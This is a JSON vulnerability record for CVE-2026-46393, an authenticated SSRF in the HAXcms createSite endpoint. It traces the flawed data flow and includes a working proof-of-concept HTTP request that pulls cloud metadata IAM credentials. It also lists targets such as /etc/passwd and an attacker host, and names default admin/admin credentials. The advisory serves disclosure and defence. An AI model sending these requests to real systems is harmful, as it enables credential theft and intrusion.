{"id":"CVE-2026-46393","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-46393","summary":"HAXcms createSite SSRF Enables Arbitrary File Read","details":"### Summary  \nAn authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.\n\n### Details  \nThe `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`.\n\nThe data flow is as follows:\n- User input (`build.files`) is processed via `object_to_array()` into a PHP array  \n- Assigned to `$filesToDownload` in `Operations.php` (line 2626)  \n- Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled  \n\nIn `HAXCMSFile.php` (line 30), the following occurs:\n```php\nfile_get_contents($upload['tmp_name']);\n```\n\nHere, tmp_name is attacker-controlled and may contain:\n\n- External URLs (`http://attacker.com`)\n- Internal services (`http://127.0.0.1`)\n- Cloud metadata endpoints (`http://169.254.169.254`)\n- Local file paths (`/etc/passwd`, `/proc/self/environ`)\n\nThe bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.\n\nThere are no restrictions on:\n\n- URL schemes (`http`, `file`, `gopher`, etc.)\n- Destination IP ranges (internal, loopback, metadata services)\n- Response content\n\nAll fetched content is written to:\n```\nsites/<sitename>/files/<filename>\n```\nand is accessible via the web.\n\n### PoC\nPrerequisites:\n\n- Authenticated session (default credentials: `admin/admin` on fresh installs)\n- Valid JWT and CSRF token\n\nStep 1: Log in and capture JWT + CSRF token\n\nStep 2: Send crafted request:\n```\nPOST /createSite HTTP/1.1\nHost: target\nAuthorization: Bearer [JWT]\nX-CSRF-Token: [TOKEN]\nContent-Type: application/json\n\n{\n  \"site\": {\n    \"name\": \"poc\"\n  },\n  \"build\": {\n    \"files\": {\n      \"poc.txt\": {\n        \"tmp_name\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n      }\n    }\n  }\n}\n```\n\nStep 3: Retrieve response:\n```\nGET /sites/poc/files/poc.txt\n```\n\nThe response will contain the fetched content (e.g., cloud credentials or internal service data).\n\n### Impact\n\n- SSRF enabling access to internal network services\n- Arbitrary file read via local filesystem paths\n- Cloud credential exposure through metadata endpoints\n- Data exfiltration via web-accessible file storage\n\nAny authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.","published":"2026-05-19T14:44:20Z","modified":"2026-06-09T12:00:14.670366760Z","cvss":null,"epss":{"score":0.00238,"percentile":0.14959,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@haxtheweb/haxcms-nodejs","fixedVersion":"26.0.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/haxtheweb/issues/security/advisories/GHSA-q862-gcgq-5m6g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46393"},{"type":"PACKAGE","url":"https://github.com/haxtheweb/issues"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-09T12:00:14.670366760Z"}}